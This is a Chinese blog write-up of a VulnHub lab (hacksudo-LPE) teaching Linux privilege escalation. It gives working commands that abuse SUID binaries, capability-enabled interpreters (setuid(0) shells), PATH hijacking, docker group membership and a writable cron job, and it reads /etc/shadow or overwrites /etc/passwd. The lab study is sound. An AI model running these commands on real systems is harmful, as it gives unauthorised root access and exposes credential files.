vulnhub靶场【hacksudo】之LPE的后续提权方法学习

前言

靶场:hacksudo-lpe的后几个challenge

基于上篇靶场hacksudo-plesudo提权

SUID文件提权

ar文件提权

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看ar的SUID用法

shell 复制代码
sudo install -m =xs $(which ar) .

TF=$(mktemp -u)
LFILE="/etc/shadow"
./ar r "$TF" "$LFILE"
cat "$TF"

可以看到用法是越权查看文件

sh提权

这个文件名可能不一样,但是性质是一样的,也就是名称不同。

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

因为是可执行文件,使用strings查看,因为内容太多,这里我是先直接执行,发现另起一个shell终端,并且还是当前用户的终端,所以,猜测是执行sh

shell 复制代码
./bash -p

所以直接使用即可

切换用户提权

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

因为知道密码,所以直接替换后,使用上一个进行提取即可

base32

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

测试发现是base32,那么就可以直接进行越权读取

bash提取

使用find寻找

shell 复制代码
find / -perm -4000 -user root -exec ls -al {} \; 2>/dev/null

查看文件类型,属于可执行文件,尝试查看帮助,发现是命令bash本身

使用bash -p即可提取

cat提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看文件类型,发现是可执行文件,并且查看帮助,确定为cat命令

那么直接使用查看,越权查看文件

chmod提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看文件类型,发现是可执行文件,并且测试帮助,确定为chmod命令

那么修改文件为其他人可读可写可执行即可,不过注意,修改时,有时父目录也是有权限限制的,这个别忘了修改

chroot提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -user root -print 2>/dev/null

查看文件类型,为可执行文件,并且查看帮助,确定是命令chroot

shell 复制代码
./chroot / /bin/sh -p
#即可提取

cp提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为cp命令

与之前使用sudocp进行提取用法差不多

三种方法,复制并读取,复制写入,第三种记录一下,之前并没碰到

shell 复制代码
LFILE="/etc/shadow"
./cp --attributes-only --preserve=all ./cp "$LFILE"

CPUlimit提取

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -4000 -user root -print 2>/dev/null

查看文件类型为可执行文件,并且确定命令为CPUlimit

查看使用方法

shell 复制代码
./cpulimit -l 100 -f -- /bin/sh -p

cut提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为命令cut

用法与使用sudo提取时一样

shell 复制代码
LFILE="/etc/shadow"
./cut -d "" -f1 "$LFILE"

sh提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

查看文件类型为可执行文件,并且测试发现是sh,直接使用sh -p提取即可

date提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,查看帮助确定为命令date

用法与具有sudo权限是一样的

shell 复制代码
date -f "/etc/shadow"

make提取

使用find寻找具有SUID权限文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,并且测试,大概率为make命令

用法

shell 复制代码
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"

脚本语言Capabilities 提权

gdb语言

使用find命令寻找对于其他用户也是可以执行gdb的文件

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法,可以看到是查看是否具有ep权限的,可以使用getcap查看,这里getcap环境变量问题,可以先找到其位置,xargs就是把前面的输出作为getcap的目标

shell 复制代码
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

node语言

使用find寻找

shell 复制代码
find / -name "getcap" 2>/dev/null
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which node) .
sudo setcap cap_setuid+ep node

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

测试,发现无权限使用setcap,那就无法修改,无法提取,只能到此

perl语言

之前确认了getcap的命令位置,以及可使用,所以,直接搜索

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which perl) .
sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

这里因为在当前用户目录下,有权限,并且满足条件。所以可以到目录下直接使用

php语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which php) .
sudo setcap cap_setuid+ep php

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

进行提取

python语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /bin/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which ruby) .
sudo setcap cap_setuid+ep ruby

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

python3语言

使用find寻找

shell 复制代码
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

shell 复制代码
cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

python2是一样的,都是python语言,只是版本不同

环境变量提权

apt-get临时变量

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

不过测试,发现应该是调用apt-get,为什么呢,因为不管传参是什么都不会被接收,说明该文件本身不是apt,而是调用的

既然是调用,那么就可以考虑环境变量,利用export设置临时变量,并且是具有优先权的,这个最好是在/tmp目录下新建apt-get,因为这是权限允许范围内的。

然后把文件给予执行权限,执行shell时,就会提权成功

ftp临时变量

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

测试文件发现,涉及到ftp,并且并不是ftp命令,参数无法接收,也就是其调用了ftp,那么尝试设置临时变量来覆盖,与上面一样,最好是在/tmp目录进行

可写文件滥用提权

利用curl

使用find寻找具有SUID权限的文件,不过这里找到的是curl

shell 复制代码
find - perm -u=s -type f 2>/dev/null

在上一篇的sudo提权文章中,个人以为只能下载,后又研究一下 ,发现不止是http协议,也是可以利用file协议与curl配合,所以就可以进行读取本地文件或写入本地文件

shell 复制代码
【curl写入】
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"

【curl读取】
LFILE=/tmp/file_to_read
curl file://$LFILE

复制/etc/passwd文件,然后修改这个复制id文件,再通过curl重新覆盖原本的/etc/passwd文件

使用su命令切换到自己本身的用户,因为知道自己本身的密码

利用具有SUID的py文件

使用find寻找具有SUID权限文件

shell 复制代码
find /-perm -4000 -print 2>/dev/null

可以看到这个python文件,具有SUID权限,但是不能直接写入,因为其所属者和所属组都是root,且其他人无写入权限,不过这里导入两个包ossys,寻找这两个包,看其权限,发现并未有权限

shell 复制代码
find / -name "os.py" -exec ls -l {} \; 2>/dev/null

寻找导入模块os.py位置以及权限,是否可写

但是发现寻找sys.py,确没有这个文件,那么能否自己写这个包呢,进行测试,也是无权限写入

这就不知道该怎么提权了,又不能写入

可读文件滥用提权

cpio提权

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

测试发现,本身就是命令cpio,查看用法,发现该命令可进行读、写等操作

链接https://gtfobins.github.io/gtfobins/cpio/#suid

shell 复制代码
【读文件内容】
LFILE="/root/root.txt"
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

或者
echo "/root/root.txt" | cpio -o

git提权

使用find寻找具有SUID权限的文件

shell 复制代码
find / -perm -4000 -print 2>/dev/null

查看其用法,可用的操作很多,尤其是具有SUID权限

链接https://gtfobins.github.io/gtfobins/git/#limited-suid

shell 复制代码
【读取文件内容】
./git diff /dev/null /root/root.txt

测试获取shell,发现不行,当前只能读取文件内容

docker提权

当使用find等搜索无发现时,查看id发现,当前用户处于docker,不过docker中并无任何镜像

在进行docker逃逸时,常用的镜像就是alpine

因为docker默认源是在国外,并且大部分的docker源可能都失效,所以这里在kali中先下载镜像,然后导出,再使用靶机下载

靶机导入

查看用法,大致都是这一种

shell 复制代码
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

通配符滥用

这里其实就需要构造条件来满足,但是这里并无条件,需要自己使用root先创建条件,这里可以看参考链接学习https://www.freebuf.com/articles/system/176255.html

crontab定时提权

使用find寻找具有SUID权限用户发现暂无,使用find寻找capabilities的特权文件,发现暂无。

查看定时任务,一般使用crontab可查看文件/etc/crontab

发现定时任务,每一分钟执行这个python文件

这个文件可以写入,查看文件内容

那么自己写入一个唤起bash终端,因为所有者是root,所以导致提权成功

当然,这是需要等待一分钟的时间,也就是当定时任务执行的时候

总结

通过该挑战可以学习到各种方式的提权,并且是不依赖漏洞的。

大部分基于SUID和sudo进行提权的

以及一个环境变量和capabilities的权限

对于一些文件的修改,而可以间接提权

相关推荐
#HakunaMatata13 分钟前
Java 中 List 接口的学习笔记
java·学习·list
Magnetic_h19 分钟前
【iOS】OC高级编程 iOS多线程与内存管理阅读笔记——自动引用计数(三)
笔记·学习·ios·objective-c·cocoa
黑客呀33 分钟前
网络安全——防火墙
服务器·网络·php
Hacker_LaoYi36 分钟前
CryptoJS加密(网络安全)
网络·web安全·php
android_lingz1 小时前
鸿蒙分享(五):axios网络请求+简单封装
网络·华为·harmonyos
fendouweiqian1 小时前
python请求SSL问题
网络·python·ssl
drebander1 小时前
Netty 的 SSL/TLS 安全通信
网络·netty·ssl
别致的影分身2 小时前
网络协议介绍
网络·网络协议
乐茵安全2 小时前
安装与认识wireshark
网络安全
独行soc2 小时前
#渗透测试#红蓝对抗#SRC漏洞挖掘# Yakit插件使用及编写01
安全·web安全·漏洞挖掘·hw·红蓝攻防